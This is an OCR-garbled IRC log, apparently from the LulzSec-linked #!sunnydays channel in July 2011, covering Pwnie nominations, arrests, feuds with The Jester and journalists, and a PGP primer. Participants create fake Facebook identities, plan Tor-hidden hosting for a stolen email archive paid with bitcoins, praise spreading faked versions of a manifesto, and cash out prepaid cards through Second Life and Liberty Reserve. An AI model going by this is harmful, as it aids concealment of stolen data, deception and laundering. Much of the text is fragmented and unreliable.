
wtf 

wut 

18:11 <~ 

http : //www. thei nqui rer . net/i nqui rer/news/2096871/anonymous-l ul zsec-manni ng-stuxne 
t-pwni e-award 



18:11 < 
18:11 < 
18:11 < 




_ imma read 

Three related nominations :) 
brb might crash 
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18:11 
18:12 
Bye] 
18:14 
18:14 
18:15 
18:15 
18:15 
18:15 
18:15 
18:15 
18:16 
18:17 
18:18 
18:18 
18:18 




# lsunnydays.log 

ytc racker's # Anti"Sec song also nominated for best hacking song 
kerpia-D4591290.kpn-gprs.nl] has quit [User quit: 




kerpia-123EC8EC.kpn-gprs.nl] has joined #!sunnydays 
unnydays L+o ^^^HIH by Confuzion 
so we're nomi n^e^^^imes? 
pwnie with lulz and hbgary 
and epic fail with sony 
nai s . 




FBs so i can add 



18:19 
18:19 



< 

<| 
<| 

18:19 <' 
18:19 <' 
18:19 < 
18:20 < 
18:20 < _ 
http : //www 
18:21 < 
18:21 < 

18:21 < 

rightwing u 
18:22 < _ 
boyfriend 
18:22 < 
18:22 
18:22 
18:22 
18:23 



ah sony al ready won 
ol 

also gimme yer 
also sup sabu 
and how are you 
Splendid, as usual" 

though things are growing a little hot. 
twas hotter before imhp 
omho* 
imho** 

jssfeialcnancnealfkw damnit 
anyway ^^^g pass fb links 

oh sec 



f acebook . com/?ref=l ogo# ! /prof i 1 e . php?i d _ 
http : //www . f acebook . com/prof i 1 e . php 
http : //www . f acebook . com/prof i 1 e . php?i d 
http : //www . f acebook . com/prof i 1 e . php?i d 





ncle 




Mother 
Father 
deranged 



http : //www . f acebook . com/prof i 1 e . php?i d= 




18:23 
18:23 
18:23 
18:25 
18:25 
18:26 
18:26 I 
Bye] 
18:27 < 
18:28 < 
18:29 < 
http:// 
18:30 < 
18:35 
18:37 
18:37 
18:38 
18:39 
18:39 < 
18:39 <' 

18:40 <' 

http : //www 
html 
18:40 < 
18:40 < 
18:41 < _ 
should b'e a 




did we haz more? 
not sure 

7 

Tunno im granddad so thats inbound 
lemme paste 
ttp : //www . f acebook . com/?ref =1 ogo# ! > 

sure 

just get the age right 

he has at least two suns, one born 61 the other 55 
sons* 

born 1929 
yar that should work 
ino 

now lemme paste 
imma crash again 
gotta love public stuff 
imma invite y'all meanwhile 
[^^^^^^kerpia-123EC8EC. kpn-gprs . nl ] has quit [user quit: 

ok looks like it's that time of the day for fb trollage 




yecho.com/?p=T692Y&c=10ko5sh0trs&f=189174484530167493#view:T692Y 
or something similar :o 
ew @ https://twitter.eom/#l/revmagdalen 

^^^■kerpia-7126D3lE.kpn-gprs.nl] has joined #!sunnydays 
sunnyday^^o ^^^^^^ by confuzion 
added . 

ugh that troll 

s on my block list 

got this from him: 

rl .org/content/lulzsec_is_utterly_i rresponsible_anonymous/242 72909. 

some things to consider, maybe, some valid points i get from it: 
anons can claim some moral motivation, while lulzsec cannot 
^^■^^1 you're too new, i cant add you as grandfather, but you 
e toaoame as daughter, edit profile, friends and family 
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actually 



18:43 
18:43 
18:43 
leave 
18:43 



#! sunnydays .log 
err grand-daughter obviously 
single drunk 

haz condom? fuckey fuckey? 
no condom? oh wth 
fuckey fuckey 
ok i just heard word 

is fine, but he cant connect to internet atm. he's not 

banned tno 

but they seized his stuff 

np ^^^g but need ya as friends first :p ill fix et later 
and h^nas to appear in cali on sep 1st -- that all shouldnt 




this channel 

< 




yar i just confirmed 

so his case isnt closed obv :/ 

no, he is charged with same crap as i guess 

conspiring and aiding and abetting 
appear in cali!? he NY i thought 
right 

nope, in cali the case started 

and they all have to go their, pay for themselves 
ah so all have to appear in cali 
ffs 

if they dont appear they will be fined with 10k 

wtf 

but as i said 

this cant leave this channel 
ofc 

anyway i gonna shower 

D113726F.EE24DE46.84E78E68.IP] has quit [User quit: 
then partay 



brb] 



anc 

pewpew 
0/ 



|kerpia-7126D3lE.kpn-gprs.nl] has quit [User quit: 



yo 



19:52 <@Sabu> 
19:53 < 

19:55 < . 

http://www.theinqui rer 
t-pwni e-award 
19:58 




ohai sabu 
have some sex: 

net/i nqui rer/news/2096871/anonymous-l ul zsec-manni ng-stuxne 

4826C3CC.EE24DE46.84E78E68.IP] has joined #! sunnydays 
getting paranoid 



al 
lol 

if you dont 
!aop add _ 
well chann'e 
! up 

mode/# ! sunnydays [+o 



even know the chan neme :p 
riames vanish when i /disconnect 
Confuzion 



al ready gone 
but honestly 
that article 

about lulzsec being irresponsible 
is that Sam Bowne guy SERIOUSLY arguing 
that something that is against the law 
is unethical? 

or am I just reading it wrong? 

But thata??s not what I mean by ethics at all. I have a much 
lat we do here is legal. This is business ethics, professional 

where you obey the law and you dona??t lie to people about what you can 
dona??t sell them defective products. Thata??s what I mean, very simple, 
professional ethics, not the sort of metaphysical ethics where theya??re "making 
the wor ld better, " even if theya??re breaking the law. 

20:02 <(^H^^H yes, this guy is seriously arguing that anything against the 
law is automatically wrong.... 
20:03 <@Sabu> hi 



20:05 
20:05 <- 



SABU CHECK THAT ARTICLE 

or go here: http://pwnies.com/nominations/ and scroll 
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bottom 

20:09 <@Sabu> 
20:09 <~^H 
20:09 <@Sabu> 
20:10 <(asabu> 
and got them 
20:10 <©Sabu> 
20:10 <@Sabu> 
20:10 <'^^m 
20:10 <@Sabu> 
20:10 <@Sabu> 
20:10 <^^m 
20:10 <@Sabu> 
20:10 <@Sabu> 
20:10 <@Sabu> 
20:10 < 
20:13 
20:13 
20:13 < 
20:13 < 
20:15 
20:15 
20:16 
20:22 
20:23 
20:23 
20:23 
20:23 
20:23 
20:24 
20:24 
20:24 < 
20:24 < 
20:24 < 
20:24 < 
20:24 < 
20:24 < 
20:24 < 
20:24 <' 
20:24 < 
20:27 
20:38 
20:38 
20:38 
20:44 
20:44 
20:44 < 
20:44 < 
20:45 <' 
20:45 < 
20:45 < 
20:45 < _ 
avatar To 
20:46 < 

20:47 * 

his computer 
20:51 
20:51 
20:51 







#!sunnydays.log 

I know bro I saw it all yesterday 
I and wtf was Steve3D's twitter 
Dtw I'm really sick of jester claiming shit 
now hes all over twitter telling everyone he owned 
arrested 
and killed lulzsecurity.com 
and the sad thing is we cant prove otherwise 

jeez, just ignore that twat finally 
its hard to ignore him when everytime he starts a rumor 
I get 300 messages on ire 

nobody who knows a little cares about his shit 
this is why 

I wanna do tn^^ning I told you about asap 
done with the siht already 
yar. good idea. 

and damn, i thought i could surprise you with that 
didnt see it until earlier today 
pretty awesome, even more should either one win :x 
which is quite likely 
? 

for the hell, did steve3d delete his twatter? 
i can't find it 
https : //twi tter . com/SteveD3 

nah that isnt him 
not "Father. Geek. Reporter for The Tech Herald"? 
oh 

or is it 

it's the one w axx in #reporter anyhoe 

i get 

http : //twi tter . com/# ! /Steve3D 
Stephen howard 
@steve3d 
ohhh D3 
doh 
thx 
haha 

no wonder i didnt find him 

;p 

thx 

is now known as 
hmm 

https : //telex. cc/ 
waut u think of that? 

IS @AnonymousIRC or @LulzSec taking requests who to hack? 
yeah 

anothe rone 

there's usually at least a couple of them daily 
"'just leave me your IP" 

ehe 

send me the output of "ipconfig /all" 
m 1 wonder if i should add a "Free No!" banner ot my twatter 

tell them to post requests on http://lulzsec.on.nimp.org/ 
waits for first person in here to ping out after hard resetting 
ecause he lost all control 

8e775b9C.CB47d490.a27e456C.IP] has joined #!sunnydays 

7 

guys \:d/ 

POP <3 





hows things? 
: D 

chattin up teh fuckbook 
did! 

yeah our family grew 
also haz a granddaddy now \o/ 
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20:53 

20:53 

20:53 

20:54 

20:54 

20:54 

20:54 

20:54 

20:55 

20:55 

20:55 

20:55 

20:56 

20:56 

20:56 

20:56 

20:56 

20:56 

20:56 

20:56 

20:56 

20:56 

20:57 

20:57 

20:57 

20:57 

20:57 

20:57 

20:57 

20:57 

20:57 

20:57 

20:57 

20:57 

20:57 

20:58 

20:58 

thi ng 

20:58 

20:58 

20:58 

20:58 

20:58 

20:58 

20:58 

20:58 

20:58 

20:59 

20:59 

20:59 

1 oi c , 

20:59 

20:59 

20:59 

let a1 

21:00 

21:00 

thing 

21:00 

21:00 

21:01 

21:02 

21:02 

21:02 

21:02 

21:02 

21:02 

21:08 




<3 



#! sunnydays .log 






whole family fled ^^^^ lol 
have googol translate ready 
thinR got a good job at the 

which IS why we moved 

yea gets him good friends, too 
. . on f b 
ana yup 

wonder if he'd find time to get on his interwebs today 
such busy day job, the poor 
e's usually here during night :) 
no wait 

yes wait 
en c was . . damn 
che 

1 confused my dad with my boyfriend 
lol 

ow embarrassing lol 

Imao 

come to daddy 

wasnt che our mom? 
is utterly confused now 

yes 

oh, yes maybe. . . 
s here! 
1 remember now 

is grandpa tho 

yar 

Bis daddy 
is mommy 
lols 

10 you guys see that #opunmanifest thing? 
or well, #operationunmanifest 

link? 
r, luonno 
1 find it too wei rd 

it's essentially taking that norwegian guys 1500 page manifesto 

changing it around 
messing it up 
spreading fakes 

basically make the guy who wrote it, laughable 
so that noone takes him seriously 

and it's near impossible to get your hands on the original 
smear campaign ftw 
only the first of many problems 
one of the most creative ops I've seen in a long time tbh 

I mean 

even if you don't like the op or think it's useless 
this means that there are still people who can think beyond 

documents 
and find new ways to do something 
people who are willing to think creatively 

i dont know enough about that case to work on that at all, 

ow much it'll help 
but yea something new indeards 

I think that even just because of its creativity it's a good 

just to show that creativity is good 
when thinking of things to do 
tbh, i have absolutely NO interest in reading this total crap 
but i think ^^lin #reporter has axx to the manifest 
I've only read bits 
he's not a madman 

and he's not mentally unable to think or anything 
he just has REALLY twisted morals 
and reasoni ng 

which reminds me, need to ask him who verified him 
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as re 
21:08 
21:08 
21:08 
21:08 
21:08 
21:09 
21:09 
21:09 
21:09 
21:09 
21:09 
21:09 
21:10 
can't 
21:12 
21:18 
#!sun 
21:26 
21:27 
21:27 
21:28 
phrac 
21:32 



#! sunnydays .log 



who? 




21:36 
21:37 
attac 
21:37 



21:42 
21:42 
21:42 
21:42 
and 1 
21:43 
21:43 
21:43 
21:43 
21:44 
21:44 
21:44 



nobody yet afaik 
just trollage 
imo 

i dont talk to him 
we clashed 

cause he was behaving like a moron 

wouldnt tell me who he was or who he was writing for a whole day 
even in query 
so i dont care anymore 
his argument "some other people know." and "it's not fair that i 

b e anonymous" 

<^HHH^^|H inb4 cockslap 

jP^^T^^Jkerpi a-6292DB08.cm-7-2a.dynamic.ziggo.nl] has joined 
nyoays 

< ^^■sup homies 

<~^^BH y° "^"^ hangin'? 

< ^^Snothi n 

< just reading the final version of that article as it will appear in 

k 

has joined #! sunnydays 
e/#! sunnydays L+o~^^H by Confuzion 
<(£^^H sup 

[^™8FC68BF0.ClA97D99.F3E927CC.IP] has quit [User quit: Leaving] 
<(^Sabu> sup^^l 

<@Sabu> nah servers should be up 
<g ^^J cant connect :< 

< ^B~wi 1 1 have to update this article slightly to include latest antisec 
ks as well as commentary on the arrests of anonymous folks 

hey 
sup 

any progress / new work? 
especially on the mails? 
we need to acquire a VPS so that we can deploy these 
purchased through bitcoins and possibly using tor hidden services 
omeone is going through 1 by 1 and making notes now 
ome interesting things for sure 
https : //tel ex . cc/ 

m ce 

this 

has a massive issue 
it relies on encryption, 
also, anonops is having some issues 

2 servers down, datacenter issues 

jester tweeted an hour ago he's after anonyops.? 





ul zsecunty.com 
<^^^^^^H^| ah ok 

<^^^^S^9 jester is getting really fucking annoying. 
<S^^^PTe sti 1 1 cant do anything i guess 
<@Sabu> yes he is 
<@Sabu> I said it 




21:46 
21:49 
21:49 
21:49 
21:49 



I am curious as to why he doesn't go after anonnews, tbh. 

l^Ri^^^^^^^P^^^^^ ^^^^^^^^^^^^^^^^^^^^^^ 

I don't think jester has ever targeted anonnews 

i n any way 

anyone care to OTR me regarding hosting? 
ouldnt have ^^^B tweeting 
just her^^^r 

7 



shift 
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21:49 <@Sabu> 
21:49 
21:50 
21:50 




21:56 < 
21:56 < 
21:56 < 
21:56 < 
21:56 
21:56 
21:56 
21:56 <' 
21:56 
21:56 
21:56 
21:57 
believe 
21:57 
21:57 
21:57 
21:57 
21:57 
21:57 < 
21:57 
21:57 
21:58 
21:58 
21:58 
brb] 
21:58 
21:58 
21:58 
21:58 < 

21:58 < 

21:58 <(asabu> 
21:58 <©Sabu> 
21:58 <©Sabu> 
21:58 <©Sabu> 
were deleted 
21:58 <@Sabu> 
21:58 <@Sabu> 
21:58 <@Sabu> 
21:58 <@Sabu> 
21:58 <(asabu> 
21:58 <@Sabu> 
21:58 <(asabu> 
21:58 <@Sabu> 
still there 
21:59 <©Sabu> 
21:59 <@Sabu> 
happened 
21:59 <@Sabu> 
21:59 <@Sabu> 



#! sunnydays .log 
then use your nick negro 

lol 

jester is getting really fucking annoying. 

1 s 

Sabu: how big is the archive? 
could spare about 10-20GB 

not intended to be bitching at you or anything re: 

yes, channel is useless for me 

but even though he is clearly trolling at some points at least, 

may still be a useful convo 

not willing to help in there anymore if that is how it goes now 
it's been going on for two days 
always the same crap 

could set up an i2p/tor hidden service, you guys rsync or 
eep the keys to the archive 
<~^^^^| always the same era 
Atms 

this will scare all op-guys out of the channel in the long run 
so have fun with reporters having no one to talk to soon 

let's put some order into #reporter again then 

ot that you had many left in the first place 

why dont we just +m the channel 

and gTve reporters voice 

ever since #thestream it's fucked up 

we know of there are reporters 

been authenticating some press last weeks 
but that #fail 
and topic says how^o aquire voice 

tbh we just need to ask that guy to leave (and he would, i still 
gTit be charles) na dit will calm down 
yeah is another one 
i thougnt HE was annoying 

ask f or verificat ion, not verified? no questions 

met ^^H^^Hi 
lol ^^^^^ 
t we ban them? 

cause ^^^B feels it's good to keep this pointless dribble on 
_ it seems 
ban him too xD 
he's SOP :( 

4826c3CC.ee24de46.84e78e68.IP] has quit [User quit: 





dmnd 
we lost 
: PD 

we will come baci- 

this is not over >D 

yo 




sabu i went back and your tweets about oslo 



21:32 <^^^^^^^H and i see now that you have a related operation 

21:55 <SABU>MyosTo tweets are NOT deleted 

21:55 <SABU> how about you look at the right twitter 

21:55 <SABU> instead of getting trolled 

21:55 <SABU> you complete imbicile 

21:55 <SABU> www.twitter.com/anonymousabu= mine 

21:55 <SABU> www.twitter.com/anonymoussabu = imposter 

21:55 <SABU> if you scroll back, my REAL statements on oslo are 

21:55 <SABU> and I said 

21:55 <SABU> we at anonymous love norway and we're sorry for what 
21:56 <SABU> and we are in solidarity etc 

21:56 <^^^^^^^B sabu, we covered this earlier, i went and made 
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# lsunnydays.log 
sure, i searhed all your 900+ tweets 

21:59 <@Sabu> 21:56 <SABU> why would I delete tweets of solidarity for twitter? 
21:59 <@Sabu> 21:56 <SABU> and btw 



^1 ^^^^ 

<(asabu> 22 



|b8412 55 6 . EE24D E46 . 84E78E68 . IP] has joined #!sunnydays 

'#! sunnydays [+o ^■■j by Confuzion 
!1:56 <SABU> I haveiUOO tweets 
<©Sabu> 21:56 <SABU> not 900 

<@Sabu> 21:56 <SABU> 21:55 <SABU> www.twitter.com/anonymousabu= mine 
jeesus fucking christ 

56 <SABU> 21:55 <SABU> www.twitter.com/anonymoussabu = imposter 

57 <SABU> how about you read the right twitter you stupid fuck 

58 <SABU> I'm scrolling back now 
58 <SABU> and when I find them 

58 <SABU> I'm going to expose you as a fucking joke charles 
he is is dense or a troll or both. 



21:59 
21:59 
21:59 
21:59 
21:59 

21:59 

21:59 <(asabu> 21 
21:59 <@Sabu> 21 
21:59 <@Sabu> 21 
21:59 <(asabu> 21 
21:59 <@Sabu> 21 
21:59 < 



21:59 <@Sabu> hes trying to say 



21:59 < 
21:59 < 
21:59 < 



the is just pants-head-retarded 
•on 

i asked if he was charles in channel 

responded to everything else i said or asked him 
22:00 <@Sabu> hes trying to say I am for the oslo killings 
22:00 <@Sabu> hes trying to twist a story on us 




he did not respond, he 



22 
22 
22 
22 
22 
22 
22 
22 



00 < 



yeah 



00 <(asabu> sigh now I gotta scroll bac on my twitter 
00 <©Sabu> anyone know when the oslo thing happened? 
00 <@^^H kill him with fucking fire 
00 <(asabu> what day exactly? 



friday i guess 

http : //twi tter . com/# ! /search/anonymousabu%20osl o 
easy 

22:01 <@Sabu> omg thanks 
22:01 <@sabu> baabahhaha 
22:01 <(asabu> HE SIGNED OFF 

22:01 <@Sabu> I am going to post it on pastebin 




god i hate how i have to take care to like all bieber posts on 



22:05 < , 
facebook' 
22:05 xD 

22:13 <@Sabu> http://pastebin.com/GJ9Dwd9e 
22:14 <@Sabu> tweet that shit 

22:14 ^P^l [^mkerpi a-6292DB08.cm-7-2a.dynamic.ziggo.nl] has quit [Ping 
timeout J 

22:15 <@Sabu> anonymouSabu The Real Sabu 

22:15 <@Sabu> pastebin.com/GJ9Dwd9e Conversation with Ocharlesauthur or one of 
his interns who got exposed for being from the Guardian in #reporter 
22:15 <@Sabu> yo I'm going with the fam to eat 
22:15 <@Sabu> see you all in a few hours 

22:15 <@Sabu> <3 
22 
22 
22 
22 
22 
23 




IS anyone rami 
____ tried a 

if that' s wh at you mean 
23:01 < how do i encrypt a message? it 

to the person im sending to? 



has quit [Input/output error] 
lar with PGP? 

bunch of apps on both win/nix for it some time ago, 



has to be done with the key belonging 



23:01 < 
23:02 < 
23:02 < 
left me 




yes 



reading something on google only 



23:02 
23:02 
23:04 
i nfo 
23:04 
23:05 
with that 
23:05 < 



you use the other's pub key 
im just a bit confused over it, 

more confused 

then only the other can decrypt it using their own privkey 
eventually we used openssl for it instead of pgp 
so you can put your pubkey online for all to read, or in nickserv 




1 i ke Publ i cKey : https : //pastee . org/mypubkey 

then whoever wants to send you an encrypted message, encrypts it 

and only someone with the privkey can decipher it 
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nlike a hash only allows you to 'encrypt', PGP only allows 



#! sunnydays .log 
23:06 <(i — " •• . . ^ 

you to decrypt with the private key 

23 : 12 <gU^^[ http: //en.wi ki pedi a . org/wi ki/Publ i c-key_cryptography 
23:17 <~^^^^| P>^€tty simple actually, everyone has a private and a public 

key. the public is shared (usually uploaded to a keyserver). others need to 

verify the key fingerprint of that key with you thru a secure channel, so they 
know it is really you. Then they can encrypt anything with your key (and also 
additional other keys if more than one person should read that) 
23:18 <~-p^^^| You need your private key to SIGN messages you send 
(authenticity) and to DECRYPT messages that were sent to you 

also, per priv key you can make multiple pub keys, like with ssh 
and use different pub keys for different networks 
once wrote pgp/openssl for dummies with ^^^H then lost all 



23:18 < 
23:18 <' 
23:19 <' 
somehow 
23:19 < 
23:24 < 
23:24 < 
23:26 
23:26 
23:26 7 
23:29 < 

23:29 < 

http://www 
enssl . php 
23:29 <' 
23:29 < 
23:30 < 
23:30 < 
23:30 < 
23:30 < 
23:30 
23:31 
23:32 




also, dummies, 
oh yeah , daddys home :D 

but^^Mgirl is here... so no chit-chat for me :\ 

^■B [^^^58FA7D0 C . 49786 865 . 84E78E68 . IP] has joined #! sunnydays 
moae7#!si!mnyaays [+o ^^^H by Confuzion 
3 <3 

we were just talking asym encryption -,- 
an easy howto 0 

evco.net/archives/2006/02/13/public_-_private_key_encryption_using_op 



woul 



cool 

what about the guide i put for the carepack? 
i thought was pretty simple 
the one we made? didnt we loose it somewhere> 
? 

its on the carepack 
runs to check 

ok any working server for anonops? 

^^^^^^1 we are preparing for the operation Operation Onslaught, 

like you to give us support through twitter, wake up the Brazilian 

thank you. ©LulzSecBrazi 1 




people, let's forget what happened and start over 
have 







<i 


23: 


:33 




23: 


;33 


<i 


23: 


;33 


<i 


23: 


;33 


<i 


23: 


;34 


<i 


23: 


;34 




23: 


:35 


<i 


23: 


;35 




23: 


;35 




23: 


;36 




23: 


;36 


< 


23: 


;36 


< 


23: 


:36 


< 



was 
cant 
same h 



are goo 
few days 
23:36 <' 
23:36 < 
23:37 < 
23:38 < 
downloa 
23:47 < 
23:48 < 
23:48 < 
havi ng 
23:48 < 
23:48 < 
23:52 < 
23:52 < 
23:54 <' 
access to 
experiment 




[Ping timeout] 
problem now? 



u read this guise? 
kerpia-18FBlFE5.bu.edu] has quit 

i was on anonops not long ago. 

on felicity. anonops. in 
connect 

ere, felicity works, but takes some attempts 
kerpia-lc327469.torservers.net] has joined #! sunnydays 



bac 
news? 
Sabu: 
thin 



kerpi a-lC327469 . torservers . net] 
kerpia-5D75A2DA. torservers . net] 
kerpi a-lC327469 . torservers . net] 



has quit [User quit: leaving] 
has joined #! sunnydays 
has joined #! sunnydays 




talked with other i tali an people, we are not sure that docs 
king to make a news post on the i tali an anonymous blog in a 

208.64.124.233 



ty 




ave you some news about the leaks? 
before i can send bitcoin do i have to wait till all the blocks are 
:o 

felicity works very well tbh 
yes and no 

you can always send all the bitcoins that you are aware of 

so that were in the blocks that you already had 
but it likely won't go through until all blocks are downloaded 
it's a fresh install of a bitcoin client :/ 
just let it download the blocks and then try <3 
^^^m can u link me to some page about bitcoin mining, i got 
30X, and i was thinking about put it to work, at least to 



gooc 
on that 
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23:55 < 
affadavi 
23:55 < 

23:55 <_ 

looking for? 
23:55 " 
23:55 
23:55 
23:55 
23:56 



#! sunnydays .log 

I http://www.wired.com/threatlevel/2011/07/op_payback/ has full 
pretty itneresting 

(prepares to overclock ATI cards) 

I don't do mining myself, but what exactly are you 




23: 
23: 



57 
58 




ok 



in terms of information 

should take a few hours max 

to get up to speed 

general i dont have idea about it 

do you know what kind of hardware it is? 

Just i was hearing about it and i was curious 

there are specific clocking and mining configurations 
for specific hardware 

well i can tweak quite well hardware and change it at low level 

http : //www . googl e . nl /u rl ?sa=t&sou rce=web&cd=l&ved=OCBgQF j AA&u rl =https%3A%2 F%2 Fen . 
bi tcoi n . i t%2 Fwi ki%2 FMi ni ng_hardware_compari son&rct= j&q=bi tcoi n%20hardware%20chart 
&ei=QFUvTp_DDsuF-wb2_ICKBA&usg=AFQjCNH8NVUBdWtgDQioYtA0wYs86P7eqA&sig2=ZXwczlbizg 

gKg4RjerxiMQ 
23:56 <(r 

https : / /en . bi tcoi n . i t/wi ki /Mi ni ng_hardware_compari son 
..but how it works? i mean where can i found info about the 
■ . buroc rati c p art i mean 

23:59 <(^V^H how to register for mining and so 
Day changed wed Jul 27 2011 
hmmm 

http : //i magebi n . org/165045 
:D 

bored : ( 
want some work? 
some new leads, 
sure ok :) 
smells RAEP 
an't rape the willing :P 
sure, just roleplay lol 

ol 

oh ^^^finally got that sister request @ 

i^:3 

see pm 

http : //www . wi red . com/th reatl evel /2011/07/op_payback 
http : //www . wi red . com/th reatl evel /2011/07/op_payback 
read that 

especially the affadit 
VERY interesting 

yes 
it is 

Mercedes: "l did not convince 7,000 people to attack Paypal 
Paypal convinced 7,000 people to attack Paypal." 



00:07 
00:07 
00:07 




00:53 
00:54 
00:54 
00:54 
00:54 



yar good quote 





e/#! sunnydays 
also nice 
TheHackersNews : 



has joined #! sunnydays 
by Confuzion 

Check out the #AntiSec Creative art 



http://t.co/GpYFzGU ;-) 
:D 



00: 


:54 


< 


01: 


:03 


<i 


01: 


;03 


<i 


01: 


:03 


<i 


01: 


:03 


<i 


01: 


:03 


<i 


01: 


:03 


<i 


01: 


:09 


<i 


01: 


:09 


<i 


01: 


:09 


< 


01: 


:09 




01: 


:10 


<( 


01: 


:10 






you should know who i am 
dont talk reckless 
i dont know and i dont care 
you troll - i troll 
ask sabu 
fuck? 

my dick is so hard now, my glans killing me 
name seems familiar 
isen is ok 
oh sorry 
wrong window 
however hes trolling in #antisec :D 
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01:18 
01:19 
01:19 
01:22 
#!sun 
01:22 
01:23 
01:23 
01:23 
01:23 
01:23 
01:23 
01:24 
01:28 
01:35 
01:35 
01:36 
01:38 
01:38 
01:41 
01:41 
01:42 
01:43 
vi sas7 
01:44 
01:44 
01:44 
01:44 
01:45 
01:45 
01:45 
01:45 
01:45 
01:45 
01:46 
love a 
01:46 
01:47 
01:47 
01:47 
01:47 
01:48 
01:48 
01:48 
01:48 
01:48 
"restr 
01:48 
01:49 
01:49 
cards , 
countr 
01:49 
01:49 
01:49 
01:49 
01:49 
01:49 
01:50 




#! sunnydays .log 

has quit [input/output error] 



yea 



nydays 



PI is an oldskewl.. oh he left 
erpia-49E3El71.gigabit.perfect-privacy.com] has joined 




mode/#! sunnydays [+o HHH by Confuzion 
I is ^osKewl 

as^ngnt to trOll 



:x 

ack : D 

vopped him o make that clearer lol 
just slightly backtrolled :D 
what was his efnet ick? 
i be damned and forgot 

has quit [input/output error] 







much 



01: 
01: 
01: 
01: 
01: 
01: 
01: 
01: 
01: 



50 
50 
50 
50 
50 
51 
51 
51 
51 



Jont remember he's had afew nicks 

meh, damnit, i ALMOST remember it 

Mkerpia-E5807 c43 . pe rfect-privacy . com] has joined #! sunnydays 
mooe/^^unnydays [+o by Confuzion 

hah 

he told me 

i ts fu nny how some people really believe jesters stories 

do you think perfect privacy would accept American prepaid 

probably, but i'm not sure 

gonna try it out now 
"they take long time to process your payment 
so they could check it 
^■^1 i think so 
cnecK thei r payment methods 
if not listed 
write email 
_ they usually are helpful 
ah you mean technically - yes 

©AnonymouslRC that you exist makes me deliriously happy. 

solidarity 

so much love :o 

wonder how much of these tweets jester ever got :> 
there's a picture that illustrates it very good 
let me look for it 
^^Bl btw added quite a bunch 
aarnnTt, do wn to 2 pages? 
"many thanks 
they remove^sr^ 

for instance, grab my stache has been deleted 
and my main concern was that my cards themselves would get a 

Country" error 

probably devian art copyright 

^^^1 yes, try to contact them to ask how this would work 

^ FaceDook, whose payment system is based in America, accepts all my 

but online games and offshore providers deny them all as "restricted 

I think it's actually the card itself 
i dont think it's them 
it's the CC processor 
yes 

http : //anti sec . i mgu r . com/al 1 
wtf 

fucloads of images have vanished 

:/ 

looks fine to me 
nah we were up to three pages 
Grab My Stache (the best= wa removed 
i tweeted to the guy who made it 

if he'd give us a version with a (c) notice or something 
but what i meant. Re: Jester was: http://i .imgur.com/XpcThh. jpg 
awesome thing 
it's still there for me 
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01:51 <' 
01:51 < 
01:51 < 
01:51 < 
there's 
01:51 < 
01:52 < 
01:52 < 
01:52 < 
01:52 < 
01:52 < 
01:53 < 
01:53 < 
01:53 < 
01:53 
01:53 
in order 
01:53 < 
01:53 < 
01:54 <' 
game cur 
01:54 < 
01:54 < 
01:54 < 
Ameri can 
01:54 < 
01:54 <' 
01:54 < 
01:55 < 
reinstal 
0.00 :(? 
01:55 < 
01:55 < 
01:55 < 
01:55 < 
01:55 < 
01:55 < 
01:56 < 
01:56 
01:56 
01:56 
01:56 
01:56 
01:56 
01:57 
01:58 
01:59 < 
02:02 
02:02 
neutral 
02:03 < . 
ever for" 
02:03 < 
02:06 < 
02:06 <' 
02:06 
02:06 
02:06 
02:06 
02:06 < 
02:06 < 
02:06 < 
02:06 < 
02:06 < 
02:07 < 
02:07 < 
02:07 < 
02:07 < 




rency 





#! sunnydays . log 

by the way ^^^^ 

really? 

huhmmm. now that is weird 
"if you're signed in, the pages are smaller, so it would say 

if you're signed out, it stores more per page 

OHHH 

ok 
but 

grab my stache i didnt even see when signed in 
it's definitely there 
i 'm blind then 
ohhh 

yeah i was 
damnit 

I can half remember the order in which I uploaded, they all seem 

also. Second Life is US-based, right? 
yeah i couldnt. 

I wonder if I can set up a Second Life account and dump $800 into 

hmmmm not sure sec 

inden Research, inc., d/b/a Linden Lab, is a privately held 

internet company that is best known as the creator of Second Life. 

yar 

okay I'll try that 

if Facebook accepts my cards. Second Life might 
iefore when i had a btc client i like saved my wallet.dat now i've 
it i deleted the defauly wallet and added my wallet but it still says 

i dont think PP takes L$ though heh 
fuck PayPal 

L$ --> LR --> PP 

ah LR 

or just keep it in LR and use it for perfect privacy accounts 
dont ask me, i neve rused BC 

wan t 
or LR -> BTC :D 
PP, PayPal , shit 

wait a sec 
thought you meant PayPal 
perfect privacy accepts LR 
yes, but wait a sec plz 
signing up to Second Life now (this game is disgusting by the way) 
_ see query 

what are you trying to archieve? 
cashing out 4-5 prepaid cards that I can't seem to cash out 

might as well get the funds off the cards and onto some kind of 

currency like Linden Dollars 

^^^g if I shit $800 into Second Life, can I have the greatest character 

social engineering or does it not work that way? 

are bitcoins available to set up a VPS to host emails 
I think Sabu has 20 BTC lying around 

07-26-2011 

Signature Return 

FACEBOOK. COM*XNX8322LR 

$100.00 

$198.05 

PayPal gave me my $100 back, sweet 
really? 

can we play this? 
lol 
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02:07 < 
02:07 
02:07 < 
- I thin 
02:07 < 
02:08 < 
02:08 < 
02:08 < 
02:08 < 
02:08 < 
02:08 < 
02:08 < 



02 
02 



11 
11 
badass 
02:11 < 
02:11 < 



#! sunnydays .log 

play what? 

is now known as 

aaaaand Second ^^^just successfully took a test $1 from my card 
thi s is going to work 

paypal releasing $100 for david davidson in 1337 lulz drive 
lolz 
wasn ' t PayPal , 
oh, shit, I sai( 
oh 

"Facebook 

<^|^H PayPal gave me my $100 back, sweet 
m^unoerstood that i guess 
is installing Second Life, a 
but hey I got the username 




PayPal 



sad day for mankind 

and that is pretty fucking 



isabu> back 



rofl 



02:11 <@Sabu> whats up negroes 
02:12 < 
02:12 < 
02:12 < 



02:12 < 
02:12 < 
02:12 
02:12 
02:12 

02 : 12 H _ 

#! sunnyoays 
02:12 < 




Required dependencies for package 'cuddle': physical -proximity 
Dependencies not satisfied, could not run package cuddle 
ahahahaha 

PayPal gave me my $100 back, sweet 
eaves us for secondlife 
ungh 

wrong paste 

forever ba rrlone, geek style 

kerpia-CDD32BC5.customers.ownit.se] has joined 



http : //www . arti f i ci al eyes . tv/node/927 

Sabu> anything new I miss 
yes that pic lol 
does anyone in here know anything about Second Life? 




02:12 
02:12 
02:12 
02:12 

02:12 

http : //www . arti f i ci al eyes . tv/ f i 1 es/anonymousSQUARESexi 1 edsu rf e r . j pg 
02:13 <' " " 

02:13 < 
02:13 < 

02:14 < 

back to "200^ 
02:14 < 
currency as 
02:15 < 
02:15 < 
02:16 < 




02:16 < 
02:16 < 
02:16 
02:16 




lol 

Meet cool, new friends in Second Life" 
jesus wept i n he1 1 . 

not much, i touched lil bit the second Ife client code for linux 

^^^H basically my plan is to dump as many funds into Second Life 

